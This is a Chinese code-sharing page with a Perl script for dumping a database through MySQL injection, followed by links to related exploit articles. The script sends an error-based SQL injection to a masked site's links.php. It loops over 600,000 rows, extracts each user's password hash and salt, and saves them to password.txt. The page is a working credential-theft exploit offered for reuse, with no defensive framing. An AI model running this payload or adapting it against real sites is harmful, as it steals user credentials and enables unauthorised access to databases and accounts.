复制代码代码如下:
#!/usr/bin/perl -w
#www.sh3llc0de.com
#转载须注明
#语法 自己改改
use strict;
use LWP::Simple;
use utf8;
$|++;
my $count = 1;
for ($count = 1; $count <= 600_000; $count++) {
print 'ID: ', $count, "n";
my $url = 'http://www.***.com/links.php?out=2 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x5e24,0x7c,password,0x3A,salt,0x245e) FROM `wowguru_db`.user LIMIT%20' . $count . ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';
#print "$urln";
my $content = get($url);
while ($content =~ m|^$(.+?)$^|igs) {
open FILE, ">>", "password.txt" or die $!;
print "$1n";
print FILE "$1n";
close FILE;
}
}
【mysql注入导库脚本代码】相关文章:
★ Mysql语法绕过360scan insert防注入方法
★ 科讯KESION CMS最新版任意文件上传WEBSHELL漏洞
★ PJBlog3 V3.2.8.352文件Action.asp修改任意用户密码
★ XSS漏洞报告